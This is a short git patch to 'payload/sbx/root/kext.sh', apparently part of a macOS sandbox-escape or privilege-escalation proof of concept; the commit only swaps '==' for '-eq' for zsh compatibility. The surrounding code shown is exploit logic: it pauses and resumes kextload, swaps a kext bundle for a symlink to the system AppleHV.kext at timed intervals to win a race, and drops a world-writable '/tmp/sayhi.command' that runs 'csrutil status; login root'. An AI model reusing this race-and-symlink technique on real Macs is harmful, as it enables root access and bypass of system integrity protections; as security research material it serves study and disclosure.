From 046d062aa1bf2ee12cff4e9711fc0034ee41d719 Mon Sep 17 00:00:00 2001 From: Csaba Fitzl Date: Fri, 5 Mar 2021 10:27:14 +0100 Subject: [PATCH] Update kext.sh "==" comparison fails with zsh, "-eq" works --- payload/sbx/root/kext.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/payload/sbx/root/kext.sh b/payload/sbx/root/kext.sh index ae4beb7..1b1f69f 100644 --- a/payload/sbx/root/kext.sh +++ b/payload/sbx/root/kext.sh @@ -59,12 +59,12 @@ killall -CONT kextload for i in {1..100}; do sleep 0.2 - if [ $i == 15 ]; then + if [ $i -eq 15 ]; then mv C.kext D.kext ln -sfh /System/Library/Extensions/AppleHV.kext C.kext # rm D.kext/Contents/MacOS/AppleHV fi - if [ $i == 34 ]; then + if [ $i -eq 34 ]; then rm -rf C.kext mv D.kext C.kext # cp -rf B.kext/A.kext/Contents/MacOS C.kext/Contents @@ -76,4 +76,4 @@ for i in {1..100}; do done echo 'csrutil status; login root' > /tmp/sayhi.command -chmod 0777 /tmp/sayhi.command \ No newline at end of file +chmod 0777 /tmp/sayhi.command